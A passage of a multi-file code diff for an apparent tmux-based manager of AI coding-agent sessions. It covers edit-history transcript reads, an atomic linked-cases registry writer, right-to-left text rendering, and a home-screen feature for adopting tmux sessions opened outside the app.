export function remoteTranscriptIds(session: EditHistorySession, storedTranscriptId: string | null): string[] {
return [...new Set([storedTranscriptId, session.claudeSessionId || session.id, session.id])].filter(
(id): id is string => !!id
);
}
/** Why a session has no edit history, or undefined when it can have one. */
export function unsupportedReason(session: EditHistorySession): string | undefined {
if (session.remote) return 'remote';
if (session.docker) return 'docker';
if (session.adopt) return 'adopted';
if (getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl') return 'mode';
return undefined;
}
@@ -324,16 +350,16 @@ export class EditHistorySync {
try {
// This slot's store: a run still in flight after `remove()` cannot reach a later one.
const store = await this.storeOf(session.id, slot);
const path = slot.gone ? null : await this.deps.transcriptPath(session);
const path = slot.gone ? null : await this.deps.transcriptPath(session, store.getTranscriptId());
let found: boolean;
if (!path) {
found = false;
} else if (older) {
found = await this.readOlder(path, store, slot);
found = await this.readOlder(session, path, store, slot);
} else {
found = true;
for (let pass = 0; pass < MAX_FORWARD_PASSES && found && !slot.gone; pass++) {
const r = await this.readForward(path, store);
const r = await this.readForward(session, path, store);
found = r.found;
if (!r.more) break;
}
@@ -359,13 +385,17 @@ export class EditHistorySync {
* short by the shared budget and left for the next pass. A transcript other than the stored
* one (`/clear`, resume) is read like a first read, once the stored one is read to its end.
*/
private async readForward(path: string, store: EditHistoryStore): Promise<{ found: boolean; more: boolean }> {
private async readForward(
session: EditHistorySession,
path: string,
store: EditHistoryStore
): Promise<{ found: boolean; more: boolean }> {
const own = this.storedTranscript(path, store);
if (own !== path && store.knownSources().length > 0) {
const previous = await this.readFrom(own, store, this.forwardRequests(store));
const previous = await this.readFrom(session, own, store, this.forwardRequests(store));
if (previous.more) return { found: true, more: true };
}
return this.readFrom(path, store, own === path ? this.forwardRequests(store) : []);
return this.readFrom(session, path, store, own === path ? this.forwardRequests(store) : []);
}
/**
@@ -378,11 +408,12 @@ export class EditHistorySync {
}
private async readFrom(
session: EditHistorySession,
path: string,
store: EditHistoryStore,
requests: EditSourceRequest[]
): Promise<{ found: boolean; more: boolean }> {
const res = await this.deps.readSources(path, requests, this.budget);
const res = await this.deps.readSources(session, path, requests, this.budget);
if (!res) return { found: false, more: false };
this.dropMissing(store, requests, res);
for (const [agentId, text] of Object.entries(res.metas)) {
@@ -413,11 +444,16 @@ export class EditHistorySync {
candidates.push(...r.candidates);
if (f.startOffset + f.chunk.length < f.size) more = true;
}
await this.addImages(store, candidates);
await this.addImages(session, store, candidates);
return { found: true, more };
}
private async readOlder(path: string, store: EditHistoryStore, slot: SessionSlot): Promise<boolean> {
private async readOlder(
session: EditHistorySession,
path: string,
store: EditHistoryStore,
slot: SessionSlot
): Promise<boolean> {
if (!store.backfillTruncated) return true;
// Older lines belong to the stored conversation, even before a forward read moved on.
path = this.storedTranscript(path, store);
@@ -440,7 +476,9 @@ export class EditHistorySync {
}
if (requests.length === 0) return true;
slot.olderAfter = picked[picked.length - 1];
const res = await this.deps.readSources(path, requests, this.budget * requests.length, { onlyRequested: true });
const res = await this.deps.readSources(session, path, requests, this.budget * requests.length, {
onlyRequested: true,
});
if (!res) return false;
if (res.transcriptId !== store.getTranscriptId()) return true;
this.dropMissing(store, requests, res);
@@ -462,7 +500,7 @@ export class EditHistorySync {
});
candidates.push(...r.candidates);
}
await this.addImages(store, candidates);
await this.addImages(session, store, candidates);
return true;
}
@@ -472,13 +510,17 @@ export class EditHistorySync {
for (const r of requests) if (!listed.has(r.relPath)) store.dropSource(r.relPath);
}
private async addImages(store: EditHistoryStore, candidates: readonly ImageCandidate[]): Promise<void> {
private async addImages(
session: EditHistorySession,
store: EditHistoryStore,
candidates: readonly ImageCandidate[]
): Promise<void> {
const paths = [...new Set(candidates.flatMap((c) => c.paths))];
// A removed store keeps nothing: do not probe agent-printed paths for it.
if (paths.length === 0 || store.isRemoved()) return;
let probes: Array<PathProbe | null>;
try {
probes = await this.deps.probe(paths);
probes = await this.deps.probe(session, paths);
} catch {
// The edits of this read are in; only its images are lost. The read itself succeeded.
return;
+2 -2
View File
@@ -2,7 +2,7 @@
* @fileoverview Launch-time defaults from synced App Settings, driven by registry data.
*
* A CLI entry declares `capabilities.launchDefaults` (launch param -> settings key; today
* only codex, `{ model: 'codexModel', reasoningEffort: 'codexReasoningEffort' }`), and
* only codex: `model`, `reasoningEffort` and `networkAccess`), and
* `applyLaunchDefaults()` fills those settings into the entry's `launch.legacyConfigField`
* object, setting ONLY the fields the caller left unset. Persisted values are re-validated
* with `SettingsUpdateSchema`, so a hand-edited settings.json can never smuggle an
@@ -39,7 +39,7 @@ export async function applyLaunchDefaults<T extends object>(
const defaults: Record<string, unknown> = {};
for (const [param, settingKey] of Object.entries(declared)) {
const parsed = SettingsUpdateSchema.shape[settingKey].safeParse(settings[settingKey]);
// '' is the settings' "leave it to the CLI" value, the same as unset.
// '' and an off switch are the settings' "leave it to the CLI" value, the same as unset.
const value = parsed.success ? parsed.data || undefined : undefined;
const wireKey = aliases[param] ?? param;
if (value !== undefined && (current?.[wireKey] ?? undefined) === undefined) defaults[wireKey] = value;
+117
View File
@@ -0,0 +1,117 @@
/**
* @fileoverview The writer of the linked-cases registry (`linked-cases.json` in the data dir): case
* name to the absolute folder it stands for.
*
* Every read-modify-write of that file goes through `mutateLinkedCases()`, the same shape as
* `mutateSettingsFile()` (settings-writer.ts). The one direct writer is config-backup restore
* (`restoreConfigBackup()`), which must work on a file that does not parse. Readers keep reading the
* file directly; a write is atomic, so they never see half of one.
*
* - **Serialized.** Mutations run one at a time on a single promise chain, each one reading, changing
* and writing before the next starts. Link, unlink, rename, a create in a custom folder and a clone
* into one each used to read the file, check it and write it back on their own. Two clones that
* claimed one name and finished together both passed the check, both answered success, and the
* later write replaced the earlier one's entry. Any two writers could lose an entry the same way.
* A check that must hold when the entry is written belongs inside `fn`: throwing there rejects that
* caller only, and nothing is written.
* - **Atomic.** Each write goes to its own temp file beside the target and is renamed over it, so a
* reader never sees a half-written file (quick-start would read one as an empty registry and resolve
* a linked case to the cases dir instead), and a failed write leaves the previous file in place.
* - **Refuses a file it must not trust.** Only a missing (or empty) file starts from `{}`. A file that
* cannot be read or is not a JSON object is left alone and the write throws
* `LinkedCasesWriteRefusedError`: read as `{}`, the next link would write back its own entry alone
* and unlink every other case.
*/
import { randomUUID } from 'node:crypto';
import fs from 'node:fs/promises';
import { dirname } from 'node:path';
import { dataPath } from '../config/instance.js';
import { getErrorMessage } from '../types.js';
export type LinkedCases = Record<string, string>;
/** Resolved at call time, like every other `dataPath()` caller that tests point at a temp HOME. */
export function linkedCasesPath(): string {
return dataPath('linked-cases.json');
}
/** A write refused because the existing registry must not be overwritten. The message is user-facing. */
export class LinkedCasesWriteRefusedError extends Error {
constructor(message: string) {
super(message);
this.name = 'LinkedCasesWriteRefusedError';
}
}
async function readLinkedCasesForWrite(path: string): Promise<LinkedCases> {
let raw: string;
try {
raw = await fs.readFile(path, 'utf-8');
} catch (err) {
if ((err as NodeJS.ErrnoException).code === 'ENOENT') return {};
throw new LinkedCasesWriteRefusedError(
`Cannot read ${path} (${(err as Error).message}), so the linked cases were not changed.`
);
}
if (raw.trim() === '') return {};
let parsed: unknown;
try {
parsed = JSON.parse(raw);
} catch {
parsed = undefined;
}
if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) {
throw new LinkedCasesWriteRefusedError(
`${path} is not a valid JSON object, so the linked cases were not changed (saving would have unlinked every other case). Fix or delete the file, or restore it from a config backup, then try again.`
);
}
return parsed as LinkedCases;
}
async function writeLinkedCasesFile(path: string, linked: LinkedCases): Promise<void> {
// Through a symlink, as the plain writeFile this replaces did: the rename lands on the real file.
const target = await fs.realpath(path).catch(() => path);
await fs.mkdir(dirname(target), { recursive: true });
// A plain writeFile kept the file's permissions; a rename would not, so the temp file takes them.
const mode = await fs.stat(target).then(
(s) => s.mode & 0o777,
() => undefined
);
const tmp = `${target}.${process.pid}.${randomUUID()}.tmp`;
try {
await fs.writeFile(tmp, JSON.stringify(linked, null, 2), mode === undefined ? undefined : { mode });
// The creation mode is masked by the umask; the existing file's bits are put back as they were.
if (mode !== undefined) await fs.chmod(tmp, mode);
await fs.rename(tmp, target);
} catch (err) {
await fs.rm(tmp, { force: true }).catch(() => {});
throw err;
}
}
let mutationChain: Promise<unknown> = Promise.resolve();
/**
* Run one change to the linked-cases registry. `fn` receives a copy of the current registry and
* returns the registry to write, or `undefined` to write nothing; it may throw to refuse the change
* (its error rejects this call as thrown). Resolves with the registry before and after the change
* (`after` is `undefined` when nothing was written). A refused or failed mutation rejects its own
* caller only; the chain keeps going.
*/
export function mutateLinkedCases(
fn: (current: LinkedCases) => LinkedCases | undefined
): Promise<{ before: LinkedCases; after: LinkedCases | undefined }> {
const run = mutationChain.then(async () => {
const path = linkedCasesPath();
const before = await readLinkedCasesForWrite(path).catch((err: unknown) => {
console.warn(`[linked-cases] write refused: ${getErrorMessage(err)}`);
throw err;
});
const after = fn({ ...before });
if (after) await writeLinkedCasesFile(path, after);
return { before, after };
});
mutationChain = run.catch(() => {});
return run;
}
+5 -3
View File
@@ -57,7 +57,9 @@ export const DISCORD_RECEIVED_DIR = '.codeman-discord';
* and is listed, or the uploads of a workspace like `~/.codeman/app` would
* never be collected), and nothing for a remote (SSH) session, whose
* workingDir is the remote path and would name a same-named LOCAL directory
* here. The working directory is a user-chosen path, so it is probed BOUNDED
* here, or for an adopted session, whose workingDir is the neutral `/tmp` that
* other sessions may really work in (it receives no uploads). The working
* directory is a user-chosen path, so it is probed BOUNDED
* first (#516): one on a mount that stopped answering reads `unknown` and is
* skipped, never touched. The sweep keeps the probe's stall cap; the delete,
* acting on one path at the user's request, passes `pastCap`. The check is
@@ -66,10 +68,10 @@ export const DISCORD_RECEIVED_DIR = '.codeman-discord';
* can.
*/
export async function uploadDirs(
session: { workingDir: string; remote?: unknown },
session: { workingDir: string; remote?: unknown; adopt?: unknown },
probe: PathProbeOptions = {}
): Promise<string[]> {
if (session.remote) return [];
if (session.remote || session.adopt) return [];
if ((await probePathKind(session.workingDir, probe)) !== 'directory') return [];
const dataDir = await realDir(getDataDir());
const dirs: string[] = [];
+78 -4
View File
@@ -2458,6 +2458,8 @@ class CodemanApp {
}
// cliMouseTracking (Claude's fullscreen mode) ends a keyboard row hold.
if (session.id === this.activeSessionId) this._reconcileKeyboardHold?.();
// The agent moved into or out of a git worktree while the Files panel is open (#765).
if (session.id === this.activeSessionId) this._followFileBrowserWorktree?.(session);
// Update parentSessionName for any subagents belonging to this session
// (fixes stale name display after session rename)
this.updateSubagentParentNames(session.id);
@@ -2845,6 +2847,14 @@ class CodemanApp {
a.setAttribute('target', '_blank');
a.setAttribute('rel', 'noopener noreferrer');
});
// Code and preformatted text are always left to right. `dir="ltr"`
// also isolates them, and `dir="auto"` skips any descendant that
// carries a `dir`, so `npm install` at the head of a Persian sentence
// no longer turns the whole sentence left to right (issue #715). The
// `dir="auto"` itself is `_applyBlockDirection`'s, never this string's.
tmpl.content.querySelectorAll('pre, code').forEach((el) => {
if (!el.hasAttribute('dir')) el.setAttribute('dir', 'ltr');
});
return tmpl.innerHTML;
} catch { /* fall through */ }
}
@@ -3002,10 +3012,38 @@ class CodemanApp {
renderedText.className = 'rv-text';
renderedText.innerHTML = this._renderMarkdown(text);
this._linkifyFilePaths(renderedText);
this._applyBlockDirection(renderedText);
div.appendChild(renderedText);
return div;
}
/**
* Right-to-left text (issue #715). With no `dir`, every block was laid out
* left to right, so a Persian, Arabic or Hebrew answer was left-aligned, its
* punctuation landed on the wrong end and its lists and quotes hung off the
* left edge. Each OUTERMOST prose block now takes its direction from its own
* first letter (`dir="auto"`, what GitHub does for rendered markdown), so an
* RTL paragraph beside an English one reads correctly in both; nested blocks
* inherit, which keeps a list's markers and indent on one side. A `dir` the
* agent wrote (the sanitizer allows it) is kept, and so is what it covers.
*
* ⚠️ Call this LAST, on the DOM, once nothing else inserts under `root`: an
* element that already carries `dir="auto"` re-resolves its direction on every
* insertion beneath it, and a block whose letters all sit in `dir` children
* (a code-only or path-only list) walks its whole subtree each time. Set
* during `_renderMarkdown` or before the linkifier, that made rendering
* quadratic, for English documents too: a 200 KB list of inline code froze
* the tab for 40 s. Not part of `_linkifyFilePaths`, which returns early when
* a stale constants.js has no `findFilePathLinks`.
*/
_applyBlockDirection(root) {
if (!root) return;
for (const el of root.querySelectorAll('p, h1, h2, h3, h4, h5, h6, ul, ol, dl, blockquote, .rv-table-wrap')) {
if (el.parentElement?.closest('[dir]') || el.hasAttribute('dir')) continue;
el.setAttribute('dir', 'auto');
}
}
/**
* Make file paths in a rendered message clickable: absolute, `~/` and
* relative ones (`findFilePathLinks`, constants.js).
@@ -3106,6 +3144,9 @@ class CodemanApp {
link.dataset.path = path;
link.dataset.linkified = '1';
if (folder) link.dataset.folder = '1';
// A path reads left to right, and in a right-to-left sentence it must
// not vote on the sentence's direction (`_applyBlockDirection`, issue #715).
link.dir = 'ltr';
link.title = path;
link.textContent = path;
frag.appendChild(link);
@@ -10267,11 +10308,11 @@ class CodemanApp {
// response re-reports the count, so a pane that starts keeping history
// (claude switched to its inline view) goes back to the tail on the next
// switch.
// A remote (ssh) or Docker session's local pane hosts a nested tmux client in the
// alternate screen, so it reports 0 while its byte tail is real scrollback.
// A remote (ssh), Docker or adopted session's local pane hosts a nested tmux client in
// the alternate screen, so it reports 0 while its byte tail is real scrollback.
const shellSession = session?.mode === 'shell';
const paneKeepsNoHistory =
!session?.remote && !session?.docker && this._paneHistoryLines?.get(sessionId) === 0;
!session?.remote && !session?.docker && !session?.adopt && this._paneHistoryLines?.get(sessionId) === 0;
const useFullHistory = !shellSession && (paneKeepsNoHistory || !this._fullHistoryLoaded.has(sessionId));
if (useFullHistory) this._fullHistoryLoaded.add(sessionId);
const fetchStartedAt = performance.now();
@@ -10879,6 +10920,9 @@ class CodemanApp {
// An SSE resync (handleInit) that landed mid-request rebuilds the list from
// the server, which still had the session then.
if (this.sessions.has(sessionId)) this._onSessionDeleted({ id: sessionId });
// The home screen read the outside-sessions list when the tab went, before this
// delete landed, so its row would say "Go to tab" with no tab until the next poll.
if (session?.adopt) void this.loadForeignSessions?.();
if (killMux) {
this.showToast('Session closed and tmux killed', 'success');
} else {
@@ -10914,6 +10958,25 @@ class CodemanApp {
const sessionNameEl = document.getElementById('closeConfirmSessionName');
sessionNameEl.textContent = name;
// ⚠️ An ADOPTED session has no "kill" outcome to offer. Its wrapper is the
// only thing Codeman owns; the server's killSession refuses to reach the
// foreign server at all (see the adopted early return in tmux-manager). So
// the red "Terminate the session completely" option is not merely redundant
// here, it is a false promise about someone else's live work, and the kind
// of false promise that stops a user closing the tab at all. Hide it, and say
// what actually happens instead.
const killBtn = document.getElementById('closeConfirmKillBtn');
const keepTitle = document.getElementById('closeConfirmKeepTitle');
const keepDesc = document.getElementById('closeConfirmKeepDesc');
const adopted = !!session.adopt;
if (killBtn) killBtn.style.display = adopted ? 'none' : '';
if (keepTitle) keepTitle.textContent = adopted ? 'Close Tab' : 'Remove Tab';
if (keepDesc) {
keepDesc.textContent = adopted
? 'Detaches only. The tmux session keeps running for whoever started it.'
: 'Tmux session keeps running in background';
}
// A session in a Codeman-managed git worktree also offers to remove the worktree
// (git worktree remove, never forced) once the session is gone. Read now, before the
// session leaves this.sessions.
@@ -10973,7 +11036,18 @@ class CodemanApp {
this.cancelCloseSession();
if (sessionId) {
const gone = await this.closeSession(sessionId, killMux);
// ⚠️ For an ADOPTED session `killMux` does not mean what it means everywhere
// else. There is no agent of ours to terminate: the only thing it can reach
// is the WRAPPER we created, and the server's adopted branch in
// `killSession` tears that down without ever touching the foreign server.
// So "keep the tmux session running" has no useful meaning here: taking it
// literally leaves our wrapper AND its grouped view session parked on the
// user's own socket forever, one pair per tab they ever closed (measured:
// `codeman-view-*` survived every close and the row stayed "Go to tab" with
// no tab behind it). Always tear the wrapper down; the foreign session is
// structurally out of reach either way.
const adopted = !!this.sessions.get(sessionId)?.adopt;
const gone = await this.closeSession(sessionId, adopted ? true : killMux);
if (gone && worktree) await this._removeWorktreeAfterClose?.(worktree, deleteBranch);
}
}
+27 -14
View File
@@ -9,12 +9,14 @@
* `GET /api/sessions/:id/edits?sync=1` when it opens and when the active session changes, and,
* only while it is open, re-reads (debounced) on the active session's `transcript:tool_end` for a
* tool that can change files (the existing transcript watcher's event) and on its `session:idle`
* (the end of a turn). No poll, and nothing at all while the panel is closed.
* (the end of a turn). No poll, and nothing at all while the panel is closed. A remote session has
* no transcript watcher (no hooks reach back from its host), so it follows turn ends only.
*
* - A code entry opens its diff inline (`GET /api/sessions/:id/edits/:entryId`), drawn with the Git
* panel's diff classes (`git-diff`, `git-diff-line--hunk|add|del`).
* - An image entry opens the shared file preview (panels-ui.js `openFilePreview`), as does a click
* on any path; inside the workspace it also shows a thumbnail. Both go through the existing file
* on any path; inside a local session's workspace it also shows a thumbnail (a remote one would
* stream every listed image over ssh). Both go through the existing file
* routes only: the thumbnail is the confined `file-raw`, and the preview of a file outside the
* workspace registers it on click with `notify: false` (`_registerExternalPreview`, which
* enforces the attachment guard and its extension allowlist). A path from the transcript is
@@ -318,10 +320,12 @@ Object.assign(CodemanApp.prototype, {
* (`POST …/attachments`, `notify: false`), and minting one per rendered row would push the
* session's real attachments out of its capped registry. Clicking it opens the file preview,
* which registers it like any other external file. SVGs get none either (`file-raw` serves
* them as a download).
* them as a download), nor does a remote session's image: its `file-raw` streams over ssh, and
* a list of generated images would open one ssh read per row; a click still previews it.
*/
_editHistoryThumbSrc(path, sid) {
if (!path || /\.svg$/i.test(path) || this._isExternalPreviewPath?.(path, sid) !== false) return null;
if (!path || /\.svg$/i.test(path) || this.sessions?.get?.(sid)?.remote) return null;
if (this._isExternalPreviewPath?.(path, sid) !== false) return null;
return this._editHistoryUrl(`/api/sessions/${encodeURIComponent(sid)}/file-raw?path=${encodeURIComponent(path)}`);
},
@@ -353,21 +357,30 @@ Object.assign(CodemanApp.prototype, {
}
const data = h.data;
if (data.state === 'unsupported') {
body.append(el('div', 'edit-history-empty', t('Edit history is only available for local Claude sessions.')));
return;
}
if (data.state === 'unavailable') {
body.append(
el(
'div',
'edit-history-note edit-history-note--warn',
data.reason === 'no-transcript'
? t(
'No transcript found for this session yet. It is picked up with the next prompt; until then a CLAUDE_CONFIG_DIR set outside Codeman cannot be found.'
)
: t('Showing saved entries only: {reason}', { reason: data.reason || '' })
'edit-history-empty',
data.reason === 'adopted'
? t('Edit history is not available for a tmux session opened outside Codeman.')
: t('Edit history is only available for Claude sessions outside Docker.')
)
);
return;
}
if (data.state === 'unavailable') {
// A remote host sends no hooks: its transcript is only ever found by the lookup over ssh.
const note =
data.reason !== 'no-transcript'
? t('Showing saved entries only: {reason}', { reason: data.reason || '' })
: this.sessions?.get?.(h.sessionId)?.remote
? t(
'No transcript found on the remote host yet (Claude writes it with the first prompt). A CLAUDE_CONFIG_DIR set only in a shell profile (.profile, .bash_profile, .zshrc) cannot be found.'
)
: t(
'No transcript found for this session yet. It is picked up with the next prompt; until then a CLAUDE_CONFIG_DIR set outside Codeman cannot be found.'
);
body.append(el('div', 'edit-history-note edit-history-note--warn', note));
}
const all = Array.isArray(data.entries) ? data.entries : [];
+476
View File
@@ -0,0 +1,476 @@
/**
* @fileoverview The "sessions someone opened by hand" block on the home screen.
*
* A tmux session a human started (`tmux new -s work`, then `claude`, or just a
* shell) is invisible to Codeman: it lives on the DEFAULT socket, not the
* instance-scoped one Codeman owns. `GET /api/mux/foreign` finds those, and one
* click wraps one in a Codeman tab (`POST /api/sessions/adopt`).
*
* ## One renderer, two containers
*
* The welcome screen and the phone overview both show this list. They call the
* SAME `renderForeignSessions(container)` rather than each building rows, because
* two renderers are how one surface ends up calling a session "shell" while the
* other calls it "bash". Same reason `CodemanSessionOrder` is shared.
*
* ## Polling only while the home screen is up
*
* The list is a poll, not an SSE stream: the server caches a local scan on a TTL,
* so N tabs polling costs one scan per TTL no matter how many are open. But an
* open tab that has LEFT the home screen must stop, otherwise every background
* tab keeps sweeping tmux sockets forever. `startForeignPolling` /
* `stopForeignPolling` are called from `showWelcome`/`hideWelcome`.
*
* A tab hidden while it shows the home screen skips its ticks as well. The TTL sits
* under the poll interval, so one tab never hits the cache: every tick is a full
* sweep, one fork or more per socket, for a list nobody is reading. It catches up
* on `visibilitychange`, and the cache is what bounds a flurry of tab switches.
*
* ⚠️ Docker and remote locations are NOT in that poll. Each costs a `docker exec`
* or a full ssh handshake per target, each with a ~12s timeout, so riding them
* along on an 8s tick stacks connections on a slow host, the one cost the
* server-side design explicitly refuses. The wide scan is therefore ONE-SHOT:
* turning the toggle on fetches once, and after that it is the user's Rescan
* button. The periodic poll stays local-only forever.
*
* The wide rows are kept separately (`_foreignWideSessions`) and merged into
* every local render, because a local-only poll's payload does not contain them
* and would otherwise wipe the container/remote rows off the list one tick after
* they appeared. Turning the toggle off discards them.
*
* ⚠️ Adoption creates a REAL session, so the button locks while in flight and the
* result goes through the app's normal idempotent create path
* (`_onSessionCreated` then `selectSession`), never by inserting a tab here.
*
* @mixin Extends CodemanApp.prototype via Object.assign
* @dependency app.js (this.sessions, _onSessionCreated, selectSession)
* @dependency api-client.js (_api)
* @dependency ralph-panel.js (formatRelativeTime)
* @dependency i18n.js (codemanT, optional)
* @loadorder 12.565 of 16, after home-sessions.js, before git-status-ui.js
*/
/** Fallback poll cadence; the server sends its own in `pollIntervalMs`. */
const FOREIGN_POLL_FALLBACK_MS = 8000;
/** i18n.js's translator, or the English source where it has not loaded. */
function foreignT(source) {
return typeof codemanT === 'function' ? codemanT(source) : source;
}
/** A row's mode, in the registry's own word for it. Falls back to the id, never a list of ids here. */
function foreignModeLabel(mode) {
const catalog =
typeof window !== 'undefined' && Array.isArray(window.__codemanCliCatalog) ? window.__codemanCliCatalog : [];
return catalog.find((entry) => entry.id === mode)?.label || mode;
}
const FOREIGN_LOCATION_LABEL = {
local: 'this machine',
docker: 'container',
remote: 'remote',
};
Object.assign(CodemanApp.prototype, {
// ═══════════════════════════════════════════════════════════════
// Lifecycle
// ═══════════════════════════════════════════════════════════════
/**
* Begin polling. Idempotent: the home screen re-shows on several paths
* (boot, closing the last tab, a breakpoint change) and each would otherwise
* stack another interval on top of the last.
*/
startForeignPolling() {
if (this._foreignPollTimer || this._foreignRefused) return;
this._foreignPollTick();
this._foreignPollTimer = setInterval(
() => this._foreignPollTick(),
this._foreignPollMs || FOREIGN_POLL_FALLBACK_MS
);
// Stored, unlike a poller made once: this runs on every trip to the home screen.
this._foreignOnVisible = () => this._foreignPollTick();
document.addEventListener('visibilitychange', this._foreignOnVisible);
},
/** Stop polling. MUST run on leaving the home screen, see @fileoverview. */
stopForeignPolling() {
if (!this._foreignPollTimer) return;
clearInterval(this._foreignPollTimer);
this._foreignPollTimer = null;
document.removeEventListener('visibilitychange', this._foreignOnVisible);
this._foreignOnVisible = null;
},
/** One poll, and the one gate every poll passes: a hidden tab skips it, see @fileoverview. */
_foreignPollTick() {
if (document.hidden) return;
// Local only: see @fileoverview. The wide scan never rides the timer.
void this.loadForeignSessions();
},
/** Whether the user asked for the expensive docker/remote scan too. */
foreignScanRemote() {
return this._foreignScanRemote === true;
},
/**
* Flip the wide scan. ON fetches containers and hosts ONCE; OFF discards what
* that fetch found, because those rows are not re-confirmed by any later poll
* and leaving them up would show a container session that may be long gone.
*/
toggleForeignScanRemote() {
this._foreignScanRemote = !this._foreignScanRemote;
if (!this._foreignScanRemote) {
this._foreignWideSessions = [];
this._foreignWideNotes = [];
this.renderAllForeignSessions();
return;
}
void this.loadForeignSessions({ wide: true });
},
/** Re-run the expensive scan on demand. The only way wide rows ever refresh. */
rescanForeignWide() {
if (!this.foreignScanRemote()) return;
void this.loadForeignSessions({ wide: true });
},
// ═══════════════════════════════════════════════════════════════
// Data
// ═══════════════════════════════════════════════════════════════
/**
* Fetch the list. `wide` asks the server for containers and ssh hosts too, and
* ONLY an explicit user action ever passes it, never the interval.
*/
async loadForeignSessions({ wide = false } = {}) {
if (this._foreignRefused) return;
const qs = wide ? '?docker=1&remote=1' : '';
if (wide) this._foreignWideLoading = true;
this.renderAllForeignSessions();
const res = await this._api(`/api/mux/foreign${qs}`);
if (wide) this._foreignWideLoading = false;
// ⚠️ A 403 is an answer, not a failed poll. The list is admin-only in multi-user
// mode (it shows other people's processes), so a non-admin has nothing to see here
// and nothing later on this page changes that: stop asking and show no block,
// instead of "Could not reach the server" under a heading they cannot use.
if (res?.status === 403) {
this._foreignRefused = true;
this.stopForeignPolling();
this.renderAllForeignSessions();
return;
}
const body = res?.ok ? await this._readJsonBody(res) : null;
const data = body?.success === true ? body.data : body?.success === false ? null : body;
if (!data) {
// A failed poll must not blank a list the user is looking at: keep the
// last good result and let the next tick recover.
this._foreignError = true;
this.renderAllForeignSessions();
return;
}
this._foreignError = false;
const rows = Array.isArray(data.sessions) ? data.sessions : [];
const notes = Array.isArray(data.notes) ? data.notes : [];
// Every note opens with its location (foreign-tmux-discovery.ts). A local one is
// re-read on each poll; a container or host one only by the next explicit scan,
// so it has to outlive the local polls in between.
const isLocalNote = (note) => String(note).startsWith('local:');
this._foreignNotes = notes.filter(isLocalNote);
if (wide) {
// Split by location: the local rows refresh on every tick, the rest only
// here, so they have to be stored apart or the next local-only payload
// (which cannot contain them) would read as "those sessions are gone".
this._foreignSessions = rows.filter((r) => (r.location || 'local') === 'local');
this._foreignWideSessions = rows.filter((r) => (r.location || 'local') !== 'local');
this._foreignWideNotes = notes.filter((note) => !isLocalNote(note));
this._foreignWideAt = Date.now();
} else {
this._foreignSessions = rows;
}
this._foreignCanScanWide = data.canScanWide === true;
if (Number.isFinite(data.pollIntervalMs)) this._foreignPollMs = data.pollIntervalMs;
this.renderAllForeignSessions();
},
/** Local rows plus whatever the last wide scan found. The render's one input. */
_allForeignRows() {
const local = Array.isArray(this._foreignSessions) ? this._foreignSessions : [];
if (!this.foreignScanRemote()) return local;
const wide = Array.isArray(this._foreignWideSessions) ? this._foreignWideSessions : [];
return wide.length ? local.concat(wide) : local;
},
/**
* Adopt one candidate.
*
* The in-flight lock is global, one adoption at a time from this page: it only
* stops a double-click. The server holds the real one-wrapper-per-target
* guarantee.
*/
async adoptForeignSession(id, buttonEl) {
if (this._foreignAdoptInFlight) return;
this._foreignAdoptInFlight = true;
if (buttonEl) {
buttonEl.disabled = true;
buttonEl.textContent = foreignT('Opening…');
}
try {
const body = { id };
if (this.foreignScanRemote()) {
body.docker = true;
body.remote = true;
}
// ⚠️ `_api`, not `_apiJson`: the latter folds a network failure, a non-2xx
// and `success:false` all into null, and the server deliberately tells
// two different stories here: "that tmux session is no longer there" vs
// "could not reach it just now (…), try again". Collapsing them showed a
// live remote session as deleted every time the link flickered.
const res = await this._api('/api/sessions/adopt', { method: 'POST', body });
const payload = await this._readJsonBody(res);
const session = payload && payload.success !== false ? payload.data?.session : null;
if (!session) {
const fallback = foreignT('Could not open that session. Refreshing the list.');
this.showToast?.(payload?.error || fallback, 'error');
await this.loadForeignSessions();
return;
}
const data = { session };
// Go through the app's normal create path so tab order, lineage lines and
// SSE-vs-POST ordering behave exactly as they do for a Run.
this._onSessionCreated?.(data.session);
await this.selectSession(data.session.id);
// Still one explicit user action, so a wide row's "Open" refreshes the
// wide list too, otherwise the row just adopted keeps reading as free.
await this.loadForeignSessions({ wide: this.foreignScanRemote() });
} finally {
this._foreignAdoptInFlight = false;
if (buttonEl) {
buttonEl.disabled = false;
buttonEl.textContent = foreignT('Open');
}
}
},
/** The error envelope, or null when there was no readable body at all. */
async _readJsonBody(res) {
if (!res) return null;
try {
return await res.json();
} catch {
return null;
}
},
// ═══════════════════════════════════════════════════════════════
// Render
// ═══════════════════════════════════════════════════════════════
/** Paint every mounted container (welcome + phone overview). */
renderAllForeignSessions() {
for (const id of ['foreignSessions', 'mobileForeignSessions']) {
const el = document.getElementById(id);
if (el) this.renderForeignSessions(el);
}
},
/**
* Render into one container. The ONLY row builder, see @fileoverview.
*
* Everything is built with DOM APIs and `textContent`: a session name and a
* command line come from another user's process, so they are never allowed
* near `innerHTML`.
*/
renderForeignSessions(container) {
const rows = this._allForeignRows();
container.innerHTML = '';
if (this._foreignRefused) {
container.hidden = true;
return;
}
if (!rows.length) {
// Hidden rather than shown-empty: on a first run there is usually nothing,
// and an empty block on the welcome screen reads as a broken feature.
// A note is a REASON the list is empty, so a block carrying one must stay
// visible: hiding it is exactly how "where did my session go" becomes
// unanswerable.
const hasNotes =
(Array.isArray(this._foreignNotes) && this._foreignNotes.length > 0) ||
(Array.isArray(this._foreignWideNotes) && this._foreignWideNotes.length > 0);
// ⚠️ `canScanWide` must keep the block visible even with nothing to show.
// The scan toggle lives in the header, so hiding an empty block also hides
// the only control that could fill it: on a host with containers but no
// local tmux sessions that made the whole feature unreachable.
container.hidden = !this.foreignScanRemote() && !this._foreignError && !hasNotes && !this._foreignCanScanWide;
if (!container.hidden) {
container.appendChild(this._foreignHeader(0));
const empty = document.createElement('div');
empty.className = 'foreign-empty';
this._appendForeignNotes(container);
empty.textContent = this._foreignError
? foreignT('Could not reach the server.')
: foreignT('No sessions found outside Codeman.');
container.appendChild(empty);
}
return;
}
container.hidden = false;
container.appendChild(this._foreignHeader(rows.length));
this._appendForeignNotes(container);
const list = document.createElement('div');
list.className = 'foreign-list';
// Adoptable first: an already-open one is not an action, it is a reminder.
const sorted = rows.slice().sort((a, b) => {
const aOpen = a.adoptedBy ? 1 : 0;
const bOpen = b.adoptedBy ? 1 : 0;
if (aOpen !== bOpen) return aOpen - bOpen;
return (b.createdAt || 0) - (a.createdAt || 0);
});
for (const row of sorted) list.appendChild(this._foreignRow(row));
container.appendChild(list);
},
/**
* Why a scan produced less than the user expected.
*
